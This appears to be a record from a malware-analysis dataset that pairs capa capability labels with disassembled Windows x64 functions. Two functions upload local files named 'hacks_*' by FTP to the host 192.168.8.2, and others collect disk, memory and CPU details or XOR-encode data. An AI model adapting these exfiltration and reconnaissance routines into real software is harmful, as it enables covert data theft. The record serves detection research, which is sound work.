joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011807
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
jmp 0x140022fc0
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14003b878]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x140045069]
call fcn.140011c44
mov dword [rbp + 0x44], 0x1388
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140023063
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x114], eax
lea rcx, [0x14003c040]
add rcx, 0x10
lea rdx, str.Error:
call fcn.14001115e
mov ecx, dword [rbp + 0x114]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
jmp 0x140023157
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x849
lea rdx, str.192.168.8.2
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x28], rax
mov r9d, 4
lea r8, [rbp + 0x44]
mov edx, 5
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
cmp qword [rbp + 0x28], 0
jne 0x1400230f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x114], eax
lea rcx, [0x14003c040]
add rcx, 0x10
lea rdx, str.Error:
call fcn.14001115e
mov ecx, dword [rbp + 0x114]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
jmp 0x140023157
mov qword [rsp + 0x20], 0
mov r9d, 2
lea r8, str.hacks_sc_dc.jpg
lea rdx, str.core32.mni
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
jne 0x140023157
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x114], eax
lea rcx, [0x14003c040]
add rcx, 0x10
lea rdx, str.Error:
call fcn.14001115e
mov ecx, dword [rbp + 0x114]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rcx, [0x14003c040]
call fcn.140011203
lea rcx, [rbp - 0x40]
lea rdx, [0x140032790]
call fcn.140011a5f
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400115fa
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140011893
Capabilities:
Parse pe header

Disassembly:
jmp 0x140028bc0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140028be0
xor al, al
jmp 0x140028c61
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140028bf3
xor al, al
jmp 0x140028c61
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140028c1d
xor al, al
jmp 0x140028c61
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140028c31
xor al, al
jmp 0x140028c61
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140028c43
xor al, al
jmp 0x140028c61
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140028c5f
xor al, al
jmp 0x140028c61
mov al, 1
add rsp, 0x38
ret
Function at 0x140011901
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
jmp 0x140023200
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14003b878]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x140045069]
call fcn.140011c44
mov dword [rbp + 0x44], 0x7d0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400232a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x114], eax
lea rcx, [0x14003c040]
add rcx, 0x10
lea rdx, str.Error:
call fcn.14001115e
mov ecx, dword [rbp + 0x114]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
jmp 0x1400233a3
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x849
lea rdx, str.192.168.8.2
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x28], rax
mov r9d, 4
lea r8, [rbp + 0x44]
mov edx, 5
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
cmp qword [rbp + 0x28], 0
jne 0x140023338
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x114], eax
lea rcx, [0x14003c040]
add rcx, 0x10
lea rdx, str.Error:
call fcn.14001115e
mov ecx, dword [rbp + 0x114]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
jmp 0x1400233a3
mov qword [rsp + 0x20], 0
mov r9d, 2
lea r8, str.hacks_hacks.txt
lea rdx, str.atapi.sys
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
jne 0x1400233a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x114], eax
lea rcx, [0x14003c040]
add rcx, 0x10
lea rdx, str.Error:
call fcn.14001115e
mov ecx, dword [rbp + 0x114]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rcx, [0x14003c040]
call fcn.140011203
lea rcx, [rbp - 0x40]
lea rdx, [0x140032810]
call fcn.140011a5f
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400115fa
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140011942
Capabilities:
Create thread

Disassembly:
jmp 0x14001eeb0
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rcx, [0x140045069]
call fcn.140011c44
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400115ff]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x14001ef0e
mov edx, 0xffffffff
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x14001ef13
mov eax, 1
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140011c17
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001fc70
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x14003b878]
xor rax, rbp
mov qword [rbp + 0x1a0], rax
lea rcx, [0x14004504d]
call fcn.140011c44
mov rax, qword [rbp + 0x1d0]
cmp qword [rax + 0x68], 0
je 0x14001fcd6
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001fcdd
mov al, 1
jmp 0x14001fe37
call fcn.140011339
mov rcx, qword [rbp + 0x1d0]
mov rcx, qword [rcx]
mov qword [rbp + 0x198], rcx
mov edx, eax
mov rcx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x198]
call qword [rax + 0x18]
mov dword [rbp + 0x164], eax
call fcn.140011339
mov dword [rbp + 0x184], eax
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x184]
call fcn.140011a7d
movzx eax, al
test eax, eax
je 0x14001fd38
xor al, al
jmp 0x14001fe37
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1d0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x1d0]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x194], eax
cmp dword [rbp + 0x194], 0
je 0x14001fd9d
cmp dword [rbp + 0x194], 1
je 0x14001fda8
cmp dword [rbp + 0x194], 3
je 0x14001fe26
jmp 0x14001fe35
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x14001fdf8
mov rax, qword [rbp + 0x1d0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x14001fdf8
xor al, al
jmp 0x14001fe37
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001fe13
mov dword [rbp + 0x194], 1
jmp 0x14001fe1d
mov dword [rbp + 0x194], 0
movzx eax, byte [rbp + 0x194]
jmp 0x14001fe37
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14001fe37
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400322a0]
call fcn.140011a5f
mov rax, rdi
mov rcx, qword [rbp + 0x1a0]
xor rcx, rbp
call fcn.1400115fa
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret
Function at 0x1400051e0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x1400a8040]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor edi, edi
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x38], edi
lea r9, [rsp + 0x40]
mov qword [rsp + 0x30], rdi
mov rbx, rcx
mov qword [rsp + 0x28], rdi
lea rcx, [0x140095f58]
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
mov dword [rsp + 0x40], edi
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x1400052d0
mov r8d, dword [rsp + 0x40]
movsd xmm0, qword [str.0000_0000]
movzx eax, word [0x140095f68]
movsd qword [rsp + 0x48], xmm0
mov word [rsp + 0x50], ax
test r8d, r8d
je 0x1400052a0
mov edx, 8
lea r9d, [rdi + 0x37]
test rdx, rdx
js 0x1400052a0
mov ecx, r8d
mov eax, 0x30
and ecx, 0xf
cmp ecx, 0xa
cmovae eax, r9d
shr r8d, 4
add al, cl
lea rcx, [rdx - 1]
mov byte [rsp + rdx + 0x48], al
mov rax, rdx
cmp rax, 5
mov edx, 3
cmovne rdx, rcx
test r8d, r8d
jne 0x140005266
mov qword [rbx], rdi
lea rax, [rsp + 0x48]
mov qword [rbx + 0x10], rdi
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], select
mov byte [rbx], dil
nop
inc r8
cmp byte [rax + r8], dil
jne 0x1400052c0
lea rdx, [rsp + 0x48]
jmp 0x1400052ef
mov qword [rbx], rdi
lea rdx, str.0000_0000
mov qword [rbx + 0x10], rdi
mov r8d, 9
mov qword [rbx + 0x18], select
mov byte [rbx], dil
mov rcx, rbx
call fcn.1400022d0
mov rax, rbx
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140051200
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x140017810
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x1400a8040]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rbx, r9
mov rbp, r8
mov r14d, edx
mov r15, rcx
mov dword [rsp + 0x34], 0x78563412
cmp dword [rcx + 0x58], 1
jbe 0x140017a0e
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
xor esi, esi
mov qword [rsp + 0x48], rsi
mov byte [rsp + 0x30], sil
mov edx, esi
mov eax, 2
cmp r8, 0x7e
cmovae edx, eax
mov ecx, 8
cmp r8, 0x10000
cmovae eax, ecx
add rdx, rax
movzx eax, byte [r15 + 0x5c]
neg al
sbb rcx, rcx
and ecx, 4
add rdx, rcx
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.140017ce0
or r14b, 0x80
mov rdi, qword [rsp + 0x38]
mov byte [rdi], r14b
movzx edx, byte [r15 + 0x5c]
cmp rbp, 0x7e
jae 0x1400178da
neg dl
sbb al, al
and al, 0x80
or al, bpl
mov byte [rdi + 1], al
cmp byte [r15 + 0x5c], sil
je 0x14001797a
mov dword [rdi + 2], 0x78563412
jmp 0x14001797a
mov rcx, rbp
shr rcx, 8
cmp rbp, 0x10000
jae 0x140017915
mov eax, 0x7e
mov r8d, 0xfe
test dl, dl
cmovne eax, r8d
mov byte [rdi + 1], al
mov byte [rdi + 2], cl
mov byte [rdi + 3], bpl
cmp byte [r15 + 0x5c], 0
je 0x14001797a
mov dword [rdi + 4], 0x78563412
jmp 0x14001797a
mov eax, 0x7f
mov r8d, 0xff
test dl, dl
cmovne eax, r8d
mov byte [rdi + 1], al
mov rax, rbp
shr rax, 0x38
mov byte [rdi + 2], al
mov rax, rbp
shr rax, 0x30
mov byte [rdi + 3], al
mov rax, rbp
shr rax, 0x28
mov byte [rdi + 4], al
mov rax, rbp
shr rax, 0x20
mov byte [rdi + 5], al
mov rax, rbp
shr rax, 0x18
mov byte [rdi + 6], al
mov rax, rbp
shr rax, 0x10
mov byte [rdi + 7], al
mov byte [rdi + 8], cl
mov byte [rdi + 9], bpl
cmp byte [r15 + 0x5c], 0
je 0x14001797a
mov dword [rdi + 0xa], 0x78563412
mov rdx, qword [r15 + 0x28]
mov r9, qword [rsp + 0x40]
mov r8, rdi
lea rcx, [r15 + 0x20]
call fcn.140017e80
mov rdx, qword [r15 + 0x28]
mov r9, qword [rsp + 0xb0]
mov r8, rbx
lea rcx, [r15 + 0x20]
call fcn.140017e80
cmp byte [r15 + 0x5c], 0
je 0x1400179dd
mov rdx, qword [r15 + 0x28]
sub rdx, qword [r15 + 0x20]
sub rdx, rbp
test rbp, rbp
je 0x1400179dd
nop
mov rcx, qword [r15 + 0x20]
add rcx, rsi
mov rax, rsi
and eax, 3
movzx eax, byte [rsp + rax + 0x34]
xor byte [rcx + rdx], al
inc rsi
cmp rsi, rbp
jne 0x1400179c0
mov rdx, qword [rsp + 0x48]
sub rdx, rdi
mov rax, rdi
cmp rdx, 0x1000
jb 0x140017a06
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017a2f
mov rcx, rdi
call fcn.140051220
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140051200
mov rbx, qword [rsp + 0x98]
add rsp, 0x60
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.1400578f0
int3
Function at 0x140017a40
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x1400a8040]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rbx, r9
mov rbp, r8
mov r15, rcx
mov dword [rsp + 0x34], 0x78563412
cmp dword [rcx + 0x58], 1
jbe 0x140017c3e
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
xor esi, esi
mov qword [rsp + 0x48], rsi
mov byte [rsp + 0x30], sil
mov edx, esi
mov eax, 2
cmp r8, 0x7e
cmovae edx, eax
mov ecx, 8
cmp r8, 0x10000
cmovae eax, ecx
add rdx, rax
movzx eax, byte [r15 + 0x5c]
neg al
sbb rcx, rcx
and ecx, 4
add rdx, rcx
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.140017ce0
mov rdi, qword [rsp + 0x38]
mov byte [rdi], 0x82
movzx edx, byte [r15 + 0x5c]
cmp rbp, 0x7e
jae 0x140017b03
neg dl
sbb al, al
and al, 0x80
or al, bpl
mov byte [rdi + 1], al
cmp byte [r15 + 0x5c], sil
je 0x140017ba3
mov dword [rdi + 2], 0x78563412
jmp 0x140017ba3
mov rcx, rbp
shr rcx, 8
cmp rbp, 0x10000
jae 0x140017b3e
mov eax, 0x7e
mov r8d, 0xfe
test dl, dl
cmovne eax, r8d
mov byte [rdi + 1], al
mov byte [rdi + 2], cl
mov byte [rdi + 3], bpl
cmp byte [r15 + 0x5c], 0
je 0x140017ba3
mov dword [rdi + 4], 0x78563412
jmp 0x140017ba3
mov eax, 0x7f
mov r8d, 0xff
test dl, dl
cmovne eax, r8d
mov byte [rdi + 1], al
mov rax, rbp
shr rax, 0x38
mov byte [rdi + 2], al
mov rax, rbp
shr rax, 0x30
mov byte [rdi + 3], al
mov rax, rbp
shr rax, 0x28
mov byte [rdi + 4], al
mov rax, rbp
shr rax, 0x20
mov byte [rdi + 5], al
mov rax, rbp
shr rax, 0x18
mov byte [rdi + 6], al
mov rax, rbp
shr rax, 0x10
mov byte [rdi + 7], al
mov byte [rdi + 8], cl
mov byte [rdi + 9], bpl
cmp byte [r15 + 0x5c], 0
je 0x140017ba3
mov dword [rdi + 0xa], 0x78563412
mov rdx, qword [r15 + 0x28]
mov r9, qword [rsp + 0x40]
mov r8, rdi
lea rcx, [r15 + 0x20]
call fcn.140017e80
mov rdx, qword [r15 + 0x28]
mov r9, qword [rsp + 0xb0]
mov r8, rbx
lea rcx, [r15 + 0x20]
call fcn.140017e80
cmp byte [r15 + 0x5c], 0
je 0x140017c0d
mov rdx, qword [r15 + 0x28]
sub rdx, qword [r15 + 0x20]
sub rdx, rbp
test rbp, rbp
je 0x140017c0d
nop word [rax + rax]
mov rcx, qword [r15 + 0x20]
add rcx, rsi
mov rax, rsi
and eax, 3
movzx eax, byte [rsp + rax + 0x34]
xor byte [rcx + rdx], al
inc rsi
cmp rsi, rbp
jne 0x140017bf0
mov rdx, qword [rsp + 0x48]
sub rdx, rdi
mov rax, rdi
cmp rdx, 0x1000
jb 0x140017c36
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017c5f
mov rcx, rdi
call fcn.140051220
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140051200
mov rbx, qword [rsp + 0x98]
add rsp, 0x60
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.1400578f0
int3
Function at 0x14001c210
Capabilities:
Get memory capacity

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xb0
mov rax, qword [0x1400a8040]
xor rax, rsp
mov qword [rsp + 0xa8], rax
mov rbx, rcx
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x50], 0x40
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov r8, qword [rsp + 0x58]
shr r8, 0x14
lea r9, [rsp + 0xa5]
movabs r10, 0xcccccccccccccccd
nop word [rax + rax]
dec r9
mov rax, r10
mul r8
shr rdx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8, rdx
test rdx, rdx
jne 0x14001c270
xor edi, edi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], select
mov byte [rsp + 0x20], dil
lea rax, [rsp + 0xa5]
cmp r9, rax
je 0x14001c2da
lea r8, [rsp + 0xa5]
sub r8, r9
mov rdx, r9
lea rcx, [rsp + 0x20]
call fcn.1400022d0
nop
mov r8d, 2
lea rdx, [0x14009a5bc]
lea rcx, [rsp + 0x20]
call fcn.140002430
mov qword [rbx], rdi
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], select
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14001c352
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c34d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c376
call fcn.140051220
mov rax, rbx
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.140051200
mov rbx, qword [rsp + 0xc8]
add rsp, 0xb0
pop rdi
ret
call fcn.1400578f0
int3

Function at 0x14001c570
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x1400a8040]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rbx, rcx
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [rsp + 0x48]
lea r9, [rsp + 0x6d]
nop dword [rax]
nop dword [rax + rax]
dec r9
mov eax, 0xcccccccd
mul ecx
mov r8d, edx
shr r8d, 3
movzx eax, r8b
shl al, 2
lea edx, [rax + r8]
add dl, dl
sub cl, dl
add cl, 0x30
mov byte [r9], cl
mov ecx, r8d
test r8d, r8d
jne 0x14001c5b0
xor eax, eax
mov qword [rbx + 0x18], select
mov qword [rbx], rax
mov qword [rbx + 0x10], rax
mov byte [rbx], al
lea rax, [rsp + 0x6d]
cmp r9, rax
je 0x14001c60e
lea r8, [rsp + 0x6d]
mov rdx, r9
sub r8, r9
mov rcx, rbx
call fcn.1400022d0
mov rax, rbx
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140051200
add rsp, 0x80
pop rbx
ret
Function at 0x140048258
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x1400330ea
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x1400330cd
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x1400330b8

Function at 0x140057c70
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140057b03
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140057b03
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140057b03
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140057b03
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140057b03
cmp dword [rcx + 0x84], 0xe
jbe 0x140057b03
cmp dword [rcx + 0xf8], 0
je 0x140057b03
mov ecx, ebx
call fcn.140057ba4
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140057994
cmp dword [rbp + 0x20], 0
je 0x140057b50
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140057b58
int3
xor r8d, r8d
xor edx, edx
jmp 0x140057a9c
Function at 0x140006980
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
mov eax, 0x1060
call fcn.140022140
sub rsp, rax
mov rsi, r9
mov rbp, r8
mov rbx, rdx
mov rdi, rcx
xor r14d, r14d
mov dword [rsp + 0x48], r14d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], 0xf
mov byte [rcx], r14b
mov dword [rsp + 0x48], 1
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
test rax, rax
je 0x140006b64
mov r8d, 0x1bb
xor r9d, r9d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
test rax, rax
je 0x140006b64
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbp
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbp, rax
test rax, rax
je 0x140006b64
mov dword [rsp + 0x4c], 0x3300
lea r9d, [r14 + 4]
lea r8, [rsp + 0x4c]
lea edx, [r14 + 0x1f]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
test eax, eax
je 0x140006b64
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140006b64
xor edx, edx
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140006b64
nop word [rax + rax]
mov dword [rsp + 0x44], r14d
xor edx, edx
mov r8d, 0x1000
lea rcx, [rsp + 0x60]
call fcn.140023db0
lea rdx, [rsp + 0x44]
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov eax, dword [rsp + 0x44]
cmp eax, 0x1000
mov r8d, 0x1000
ja 0x140006ae9
mov r8d, eax
lea r9, [rsp + 0x50]
lea rdx, [rsp + 0x60]
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov esi, dword [rsp + 0x50]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x140006b41
lea rax, [rcx + rsi]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x140006b27
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8, rsi
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.140023710
mov byte [rbx + rsi], 0
jmp 0x140006b59
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x60]
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call fcn.1400064b0
cmp dword [rsp + 0x44], 0
ja 0x140006ab0
mov rax, rdi
lea r11, [rsp + 0x1060]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x140008b60
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x140008b94
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x140008b80
ret